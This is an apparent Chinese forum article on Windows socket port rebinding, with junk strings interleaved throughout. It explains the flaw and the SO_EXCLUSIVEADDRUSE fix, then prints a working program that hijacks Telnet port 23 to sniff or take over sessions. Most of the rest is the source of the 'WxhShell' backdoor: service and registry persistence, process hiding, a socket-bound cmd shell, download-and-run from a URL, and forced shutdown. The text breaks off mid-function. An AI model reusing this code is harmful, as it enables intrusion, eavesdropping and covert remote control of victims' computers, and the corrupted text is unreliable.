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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #H6YI3
`G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {+lU 4u f}yRTR GJv saddr.sin_family = AF_INET; ,x\qYz+7| (&.T saddr.sin_addr.s_addr = htonl(INADDR_ANY); m^FKE: %oqKpD+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E,d<F{=8,o %f<>Kwr`2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +o@:8!IM1 Z,p@toj' 这意味着什么?意味着可以进行如下的攻击: Ab[o~X" {_!,T%>+1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )&E] =oVC*b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;%0kzIvP E q4tcZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^P{y^@XI kB?/_a`] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :2KPvp7? J<L\IP?% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K bQXH!J >NPK;Vu 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V0D&bN* }8AH/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<',k%:t E!ZLVR.K #include 5$!idfDr|m #include rI\5djiYJ #include aoz+T h3 #include 2ih}?%H8 DWORD WINAPI ClientThread(LPVOID lpParam); #8L:.,AYE int main() bp/l~h.7W { Lios1|5 WORD wVersionRequested; 8g:VfzaHu DWORD ret; NL:dyV} WSADATA wsaData; ,~,q0PA7J BOOL val; ;07$ G+[' SOCKADDR_IN saddr; ie[X7$@ SOCKADDR_IN scaddr; '0~?zP int err; =p5]r:9W SOCKET s; ,){#J"W SOCKET sc; @H$8;CRM int caddsize; ?7pn%_S HANDLE mt; ZD]{HxGL! DWORD tid; [>>_%T\I wVersionRequested = MAKEWORD( 2, 2 ); 8&HBR # err = WSAStartup( wVersionRequested, &wsaData ); G:1QXwq\j if ( err != 0 ) { lH?jqp printf("error!WSAStartup failed!\n"); >Q<XyAH~ return -1; %5+X } J~J+CGT~2 saddr.sin_family = AF_INET; Z # 4$, W\d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1P"{TMd? Fs~*-R$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FZ%h7Oe saddr.sin_port = htons(23); !wUznyYwt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ugXDnM[S% { W$wX[ printf("error!socket failed!\n"); ._>03, " return -1; uWClT): } \>*.+?97 val = TRUE; l'Za"TL: //SO_REUSEADDR选项就是可以实现端口重绑定的 jP/Vqe%%8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y|b,pC|, { 'hWA&Xx+ printf("error!setsockopt failed!\n"); 49>b]f,Vc return -1; R+ \% } EKcPJ\7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NAtDt= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QjXJo$I6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x&J\ swN9 :qqG%RB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i"n_oO { Hmm0H6&u ret=GetLastError(); L ?;UcCB printf("error!bind failed!\n"); o:cTc:l) return -1; oB!Y)f6H1 } 9XQE5^ listen(s,2); p*g)-/mA while(1) wXp:XZ:]T { V;R gO} caddsize = sizeof(scaddr); Iv3yDL; //接受连接请求 l=T;hk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f^hJA Z if(sc!=INVALID_SOCKET) u"oO._a(
{ +J{ErsG?6P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V.$tq if(mt==NULL) EUI*:JU- { `Rq|*:LV printf("Thread Creat Failed!\n"); w (`g)` break; 5tkKd4VfL } -Wmb
M]Z } >Q(\vl@N= CloseHandle(mt); ;Qq_ } @}Ry7H0O closesocket(s); *re?V9 WSACleanup(); am3JzH return 0; kq(><T } "8ZV%%elp DWORD WINAPI ClientThread(LPVOID lpParam) 2
KHT!ik { S}h
d, "I SOCKET ss = (SOCKET)lpParam; s}Go")p<: SOCKET sc; mh[,E8'd unsigned char buf[4096]; ` W);+s SOCKADDR_IN saddr; 19(x$=: long num; iJ*Wsp DWORD val; a""9%./B DWORD ret; wDoCc: //如果是隐藏端口应用的话,可以在此处加一些判断 D5Sbs( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 QaEiP n~ saddr.sin_family = AF_INET; PCgr`($U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jpp-3i.F# saddr.sin_port = htons(23); `%#_y67v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6A5.n?B{ { .WN&]yr, printf("error!socket failed!\n"); fk?!0M6d return -1; h7K,q S } WwnBe"7M val = 100; 91&=UUkK? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,3}+t6O" { *UW 8|\; ret = GetLastError(); bvZD@F`2 return -1; Cpd>xXZz&S } /o6ido if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4%qmwt*p {
7|dm"%@ ret = GetLastError(); 4mp)v*z return -1; (ESFR0 } _'V o3b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1#"wfiW { )q4nyT>M printf("error!socket connect failed!\n"); bL0]Yuh closesocket(sc); ]P7gEBi closesocket(ss); 5Y`4%*$ return -1;
}lPWA/ } a}VR>!b while(1) o8E<_rei { .@mZG<vg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AZNo%!)o //如果是嗅探内容的话,可以再此处进行内容分析和记录 hr'?#K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9%ct num = recv(ss,buf,4096,0); vFLE%z{\o if(num>0) '#j6ZC/? send(sc,buf,num,0); Dvz 6 E else if(num==0)
O\yYCi( break; ^56D)A= num = recv(sc,buf,4096,0); xk8NX-: if(num>0) e>!]_B1ad send(ss,buf,num,0); $[cB6 else if(num==0) <daH0l0 break; H)*%e G~ } \KpJIHkBRy closesocket(ss); %(?;` closesocket(sc); C$at9=(E6 return 0 ; mpDxJk! } #X!seQ7a zKYN5|17 ,T 3M ========================================================== ,e`n2) }\N ~%?6D 下边附上一个代码,,WXhSHELL g;o5m} PDgZb ========================================================== \:n<&<aVSr ep48 r> #include "stdafx.h" yQu/({D <7ag=IgDy #include <stdio.h> XNvlx4 #include <string.h> yMgS0 #include <windows.h> ;uZq_^?:9& #include <winsock2.h> ~^ ' + . #include <winsvc.h> a)+*Gf7? #include <urlmon.h> vf?m6CMU! \)MzUOZn #pragma comment (lib, "Ws2_32.lib") h;cw=G #pragma comment (lib, "urlmon.lib") &;vMJ #.}&6ZP #define MAX_USER 100 // 最大客户端连接数 }b<w \9AF #define BUF_SOCK 200 // sock buffer sC :.}6 #define KEY_BUFF 255 // 输入 buffer \4OU+$m PEKXPFN #define REBOOT 0 // 重启 \)g} #define SHUTDOWN 1 // 关机 eM7F8j 56Lt "Z F #define DEF_PORT 5000 // 监听端口 _*t75e$- 3Z}m5f`t #define REG_LEN 16 // 注册表键长度 `Z2-<:]6&a #define SVC_LEN 80 // NT服务名长度 lj*=bK 1:I _;O_ // 从dll定义API leXdxpc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )o::~ eu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fzjtaH? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CSFE[F63 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^w
jM u5f (gutDUO; // wxhshell配置信息 /EZ - struct WSCFG { >+[{m<Eq int ws_port; // 监听端口 |[/XG2S char ws_passstr[REG_LEN]; // 口令 . int ws_autoins; // 安装标记, 1=yes 0=no 'L%)B-,n char ws_regname[REG_LEN]; // 注册表键名 kh"APxQ79 char ws_svcname[REG_LEN]; // 服务名 A(JgAV1{ char ws_svcdisp[SVC_LEN]; // 服务显示名 !3*%-8bp char ws_svcdesc[SVC_LEN]; // 服务描述信息 v@:m8Y(t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !@)tkhP int ws_downexe; // 下载执行标记, 1=yes 0=no $h1pL>^J char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" uHt@;$9A char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =A/$[POr 3pkx3tp{ }; x{VUl ^QTkre // default Wxhshell configuration l27J struct WSCFG wscfg={DEF_PORT, 6?l|MU"Q. "xuhuanlingzhe", B}d)e_uLj 1, XpP}(A@G "Wxhshell", W=!D[G R "Wxhshell", \.`{nq "WxhShell Service", \r\wqz7 "Wrsky Windows CmdShell Service", !4+@b
s "Please Input Your Password: ", ^ Mq8jw(2 1, T'%Rkag> " http://www.wrsky.com/wxhshell.exe", $&0\BvS "Wxhshell.exe" 5S%#3YHY2 }; V_H0z SMHQh.O?5 // 消息定义模块 lUM-~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +2^Mz&I@b char *msg_ws_prompt="\n\r? for help\n\r#>"; yJHFo[wGMJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
P{>-MT2E char *msg_ws_ext="\n\rExit."; (fC U+ char *msg_ws_end="\n\rQuit."; A}0u-W char *msg_ws_boot="\n\rReboot..."; :>, m$XO char *msg_ws_poff="\n\rShutdown..."; qa/VSk!{ char *msg_ws_down="\n\rSave to ";
k<
g c8qwsp char *msg_ws_err="\n\rErr!"; ZTi KU) char *msg_ws_ok="\n\rOK!"; :stA]JB#
w axiP~t2 char ExeFile[MAX_PATH]; Znh)m int nUser = 0; XbW 1`PH HANDLE handles[MAX_USER]; zFO#oW,D int OsIsNt; T2MXwd&l r[kmgPld SERVICE_STATUS serviceStatus; #TG.weTC SERVICE_STATUS_HANDLE hServiceStatusHandle; 0D^c4[Y'l ]dQ // 函数声明 } !RBH(m% int Install(void); iea7*]vW int Uninstall(void); \PgMMc4' int DownloadFile(char *sURL, SOCKET wsh); +>o}
R?xj int Boot(int flag); Q`[J3-Q*{ void HideProc(void); mu&%ph= int GetOsVer(void); eR:!1z_h int Wxhshell(SOCKET wsl); Nmu=p~f}3` void TalkWithClient(void *cs); Xe:e./@ int CmdShell(SOCKET sock); _D~FwF&A int StartFromService(void); Uk= L?t int StartWxhshell(LPSTR lpCmdLine); v
L!?4k DeRC_ [ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dp#'~[ j VOID WINAPI NTServiceHandler( DWORD fdwControl ); [[VB'Rs *odwg$ // 数据结构和表定义 ttA0*
>' SERVICE_TABLE_ENTRY DispatchTable[] = ~ZZJ/Cu { 3q:>NB< {wscfg.ws_svcname, NTServiceMain}, *WZ?C|6+ {NULL, NULL} XXZ <r }; E3,Nc`'m9 tk,Vp3p // 自我安装 !d3:`l< int Install(void) " )/febBS { guWX$C-+1 char svExeFile[MAX_PATH]; D;WQNlTU HKEY key; ,lr\XhO strcpy(svExeFile,ExeFile); >p@v'h/Cr Jx4"~ 4 // 如果是win9x系统,修改注册表设为自启动 ''~#tK
f if(!OsIsNt) { xE%sPWbj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \N"=qw^ t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LKe~ RegCloseKey(key); :x/L.Bz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $g!~T!p= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k1Thjt RegCloseKey(key); -|nHwSrCZ/ return 0; >'96SE3 } kMY1Xb } ^Y-
S"Ks } ju {\7X5 else { e!JC5Al7 |\_d^U&` // 如果是NT以上系统,安装为系统服务 -iJ @K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OXCf if (schSCManager!=0) %+e%
RZ3 { B gB]M3Il SC_HANDLE schService = CreateService |>L|7>J{<d ( DQRr(r~2Kj schSCManager, |$aTJ9 Iq: wscfg.ws_svcname, 9$oU6#U,h wscfg.ws_svcdisp, b Q6<R4 SERVICE_ALL_ACCESS, F F7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UpIt"+d2& SERVICE_AUTO_START, rLzN#Zoi SERVICE_ERROR_NORMAL, T.kQ] h2ZG svExeFile, /!L#cUog NULL, 8O0E;6b NULL, |'" 17c& NULL, SBynu NULL, p!]$!qHO( NULL _yJAn\ ); ~i ImM|*0 if (schService!=0) }"CX` { a2tRmil CloseServiceHandle(schService); G(6MLh1 CloseServiceHandle(schSCManager); rfVHPMD0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b ?-VZA: strcat(svExeFile,wscfg.ws_svcname); .*zWm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ollk {N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?rG>SA>o RegCloseKey(key); q!+&|F return 0; |0e7<[ } S"wn0B$" } p^uX{! CloseServiceHandle(schSCManager); VkChRzhC } 8vL2<VT; } >|S&@< d|RqS`h
] return 1; =T0;F0@#4 } Sb;=YW
1< WzwH;! // 自我卸载 Cj6+zJ int Uninstall(void) #uzp { tin5.N)"z HKEY key; |{a`,%mw 9AgTrP if(!OsIsNt) { yK3b^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { --}5%6 RegDeleteValue(key,wscfg.ws_regname); 2Vn~o_ga RegCloseKey(key); D%+cf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { th?w&;L RegDeleteValue(key,wscfg.ws_regname); &=-ZNWNo RegCloseKey(key); \(db1zmS~ return 0; $yA>j (k4 } hN3*]s;/6z } % >\v6ea } VoTnm else { LW$(;-rY :~Z-K\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $xK2M if (schSCManager!=0) ?b8 : { 9
Y-y?Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qZS]eQW. if (schService!=0) FZ0wtS2 { fUg<+|v* if(DeleteService(schService)!=0) { ;;zQV D )X CloseServiceHandle(schService); 1#D &cx6 CloseServiceHandle(schSCManager); ,_$}>MY; return 0; rEF0A&5 } !G8=S'~~ CloseServiceHandle(schService); 9[5qN!P;y } =G9 9U/ CloseServiceHandle(schSCManager); WE*L=_zDS } *:+&SxL } /~O>He WP5QA8`3 return 1; %lbDcEsf9 } DT Cwf sgGXj7 // 从指定url下载文件 U{JD\G8m int DownloadFile(char *sURL, SOCKET wsh) JoCZ{MhM { Y_gMoo HRESULT hr; ,'nd~{pX"( char seps[]= "/"; w!j 'k|b> char *token; ;K$ !c5 char *file; ?^Q8#Y^M char myURL[MAX_PATH]; A5\00O~ char myFILE[MAX_PATH]; p|gzU$FWbk ^c-8~r|y, strcpy(myURL,sURL); ;J>upI token=strtok(myURL,seps); '
a>YcOw while(token!=NULL) =<;C5kSD { hb. ^& file=token; u^4$<fd token=strtok(NULL,seps); &}y?Lt } \}n\cUy- yp!7^ GetCurrentDirectory(MAX_PATH,myFILE); k6$Ft.0d1Z strcat(myFILE, "\\"); L[cP2X]NQ strcat(myFILE, file); Nrn_Gy>|D send(wsh,myFILE,strlen(myFILE),0); E Xxv send(wsh,"...",3,0); PNs*+/-S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YZk.{#^ c if(hr==S_OK) U!\~LKfA return 0; kj>!&W57 else :OFs"bC return 1; t}YT+S *6bO2LO" } 2j;9USZ
p srQGqE~ // 系统电源模块 ZYS]Et[Q int Boot(int flag) ^)UX#D3b { l86gs6> HANDLE hToken; ^m/7TwD TOKEN_PRIVILEGES tkp; +,1 Ea ) i*((@: if(OsIsNt) { v{X<6^g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {SkE`u4Sz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0T7t. tkp.PrivilegeCount = 1; Y:R*AOx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5HaI$>h6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WDi2m" if(flag==REBOOT) { b]gVZ- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wJZuJ( return 0; ALQ-aXJ } Sh2BU3 else { yv|`A2@9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +#Wwah$ return 0; ^
-4~pDv^ } p ,.6sk } T&4f}g/ else { nb.|^O? if(flag==REBOOT) { "~mY4WVG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [MuZ^'dR return 0; edo+ o{^ } 8iTB else { r
)HZaq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & 'CUc/, return 0; g4u6#.m( } l8khu)\n4R } iu?gZVyka &1Cs' return 1; n@L@pgo%~ } 58d[>0Xa[g %fnG v\uI // win9x进程隐藏模块 7=D,D+f void HideProc(void) ):[}NDmC { :..WL;gC bZ_TW9mq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XF+4*), if ( hKernel != NULL )
`8S3Y { sopf-g: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `U=Jbdc l3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \_ FreeLibrary(hKernel); &=x4M]t9L } Jt[,V*:# yIcTc return; <=V{tl } $4^SWT. yx|{:Li! // 获取操作系统版本 yQ$]`hr; int GetOsVer(void) =@0J:"c { 2lO(f+ OSVERSIONINFO winfo; 7f}uRXBV$A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x\U[5d GetVersionEx(&winfo); aG83@ABx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XPU>} 4{ return 1; ,0a_ou"P=_ else Q#G xo return 0; n|{#5# } #-\5O SAdE9L =d // 客户端句柄模块 +8C}%6aX int Wxhshell(SOCKET wsl) [8a(4]4 { $L 8>Ha} SOCKET wsh; F_(~b struct sockaddr_in client; 4"k &9+> DWORD myID; c)LG+K L FkDb} while(nUser<MAX_USER) ",.f
{ nj'5iiV`] int nSize=sizeof(client); 0\{dt4nW&O wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k9f|R*LM if(wsh==INVALID_SOCKET) return 1; 9e=}PL CYLab5A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `VKFA<T if(handles[nUser]==0) X2@Ef2EkM closesocket(wsh); &F
uPd}F else Rey+3*zUb nUser++; Jgv Mx } n82tZpn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ()IZ7#kL? JFVx& return 0; 'EiCTl } 46}U+> D{6y^@/ // 关闭 socket xrPZy*Y, void CloseIt(SOCKET wsh) iz# R)EB/g { O~*i_t*i9{ closesocket(wsh); {P8d^=#q nUser--; *'-4%7C`1 ExitThread(0); Gk*u^J( } k9}8xpH l&ueD&*4& // 客户端请求句柄 /P*XB%y void TalkWithClient(void *cs) v`Jt+?I { Vc(4d-d5 @&}}tALi SOCKET wsh=(SOCKET)cs; ^YLC {V char pwd[SVC_LEN]; d/7R}n^ char cmd[KEY_BUFF]; ~#sD2b`0 char chr[1]; Wk0E7Pr int i,j; jsN[Drr a bFG~08Z ,d while (nUser < MAX_USER) { CT[9=wV)m% t(#9.b`W) if(wscfg.ws_passstr) { XGB\rfvS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Op%OQ14$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g{Hgs //ZeroMemory(pwd,KEY_BUFF); *D?_,s i=0; {$^'oRk while(i<SVC_LEN) { bTum|GWf /}m)FaAi // 设置超时 f!x9% fd_set FdRead; 4H#-2LV` struct timeval TimeOut; KR>)Ek FD_ZERO(&FdRead); =-2~>B FD_SET(wsh,&FdRead); XDY]LAV TimeOut.tv_sec=8; axnlI*! TimeOut.tv_usec=0; J# (AX6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9hA`I tS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p / ITg iJzBd7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fQfn7FaW_\ pwd =chr[0]; >of34C"DI if(chr[0]==0xd || chr[0]==0xa) { ~&<#H+O pwd=0; \4N8-GwZQ break; 8qyEHUN2q } <O1R*CaP i++; oai=1vt@
} ["3dr@T9Z j.q}OK // 如果是非法用户,关闭 socket CYaN;HV@_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \qG?'Iy } PT~htG<Fw i=gZ8Q=H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i\sBey ND" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aZmN(AJ8v Tc^
0W=h while(1) { ,31 ?
Aa a}UmD
HS- ZeroMemory(cmd,KEY_BUFF); *{ rorir : B^"V\WE // 自动支持客户端 telnet标准
(Q8!5s j=0; :{%[6lE^G while(j<KEY_BUFF) { Bv<g Vt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'I$FOH cmd[j]=chr[0]; 2VN].t: if(chr[0]==0xa || chr[0]==0xd) { $*0-+h cmd[j]=0; _WEJ,0*#' break; cB uuq } q A .9X4NQ j++;
|3]/CrR_ } A6]:BuP;c p":u]Xgb // 下载文件 b?}mQ! if(strstr(cmd,"http://")) { a}yb~:TC send(wsh,msg_ws_down,strlen(msg_ws_down),0); +9Tc.3vQ if(DownloadFile(cmd,wsh)) *V2;ds.~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)E${\1' < else
(=!At)O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n6oOknCna } |]< 3cW+ else { YmC}q20; "
aG6u^% switch(cmd[0]) { s;vt2>;q+e
V#ELn[k // 帮助 w
% Hj' case '?': { nqy*>X` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e4z~ break; a&%aads } .
Vb|le(7 // 安装 $]DuO1H./ case 'i': { %E_Y4Oe1 if(Install()) PLz{EQ[cV send(wsh,msg_ws_err,strlen(msg_ws_err),0); lq9|tt6Z else in1rDN%Vi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AY52j break; :TTq
} 5sJ>+Rg // 卸载 O<$w-( case 'r': { +Csb8 if(Uninstall()) q1VKoKb6\: send(wsh,msg_ws_err,strlen(msg_ws_err),0); M+&~sX*a else 6u"wgX]H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'UX^] break; >>{):r
Z } 4np2I~ ! // 显示 wxhshell 所在路径 7rdmj[vu case 'p': { jemb/:E char svExeFile[MAX_PATH]; lR %#R strcpy(svExeFile,"\n\r"); h ;uzbu strcat(svExeFile,ExeFile); w%\
n XJ send(wsh,svExeFile,strlen(svExeFile),0); k1z`92" break; (1CP]5W } u{4P)DIQ // 重启 e`0C0GaP case 'b': { :P-H8*n"" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zz} o t if(Boot(REBOOT)) NV./p`k send(wsh,msg_ws_err,strlen(msg_ws_err),0); dz@+ jEV else { P.YT/ closesocket(wsh); aA?Qr&]M ExitThread(0); nT|WJ% } !PIg, break; m@<,bZkl } jga;q // 关机 ,It0brF case 'd': { 2(d send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QI[WXxp if(Boot(SHUTDOWN)) wp~}1]g send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_j.k3r4d else { xtGit} closesocket(wsh); \8#[AD*@s2 ExitThread(0); _7N?R0j^9N } f8-`bb break; }h1BAKg } NzZ(Nz5 // 获取shell (g;O,`|c, case 's': { jW&*?6< CmdShell(wsh); 3\Amj}RJ closesocket(wsh); 4j;IyQDvM ExitThread(0); r Hq1%)B break; O=}w1] } &DGqY5= // 退出 #TUm&2 +V case 'x': { Ip{hg,> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6\l F CloseIt(wsh); ]|F`;} 7 break; 9V)cf } h<3bv&oI . // 离开 &LM@xt4"^[ case 'q': { "u^2!d send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7VfXE/ closesocket(wsh); ;|T|*0vY[ WSACleanup(); H5]q*D2 exit(1); &2:WezDF break; fBTNI`# } [W$x5|Z}Q } s
j-oaWt } {B=64,D^7R ,6y.wNb :F // 提示信息 vy
[7I8f{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Up-^km } %Lx#7bR U } L?N:4/0;! e]1)_;b* return; Q$Qr)mcC } 6k')12~' Nba1!5:M // shell模块句柄 ci%$So2# int CmdShell(SOCKET sock) V#599- { 5 3+C;]J STARTUPINFO si; r,|}^u8` ZeroMemory(&si,sizeof(si)); &B8x0 yi si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U0|wC,7" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7F]oK0l_ PROCESS_INFORMATION ProcessInfo; c ~M'O26bW char cmdline[]="cmd"; H5vg s2R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9R+ qw return 0; {o'(_.{ } `,FA3boE iMYJVB= // 自身启动模式 /.mx\_$ int StartFromService(void) ZDK+>^A) { 4d`f?8vS typedef struct (=%0x"' { c]ll89`|| DWORD ExitStatus; ?S)Pv53>} DWORD PebBaseAddress; dpdp0 DWORD AffinityMask; m2% DWORD BasePriority; 'cN3Vv k ULONG UniqueProcessId; Ta8lc %0w3 ULONG InheritedFromUniqueProcessId; T~lHm } PROCESS_BASIC_INFORMATION; 9j5k=IXg#a :y~l?0b&8 PROCNTQSIP NtQueryInformationProcess; uq!d8{IMu ^x >R #.R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UWgPQ%} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2ak*aI 30cb+)h( HANDLE hProcess; #9(iu S+BU PROCESS_BASIC_INFORMATION pbi; mnYzn[d3U x50ZwV&j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r+k~%5Ff~ if(NULL == hInst ) return 0; F{17K$y !M7727 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
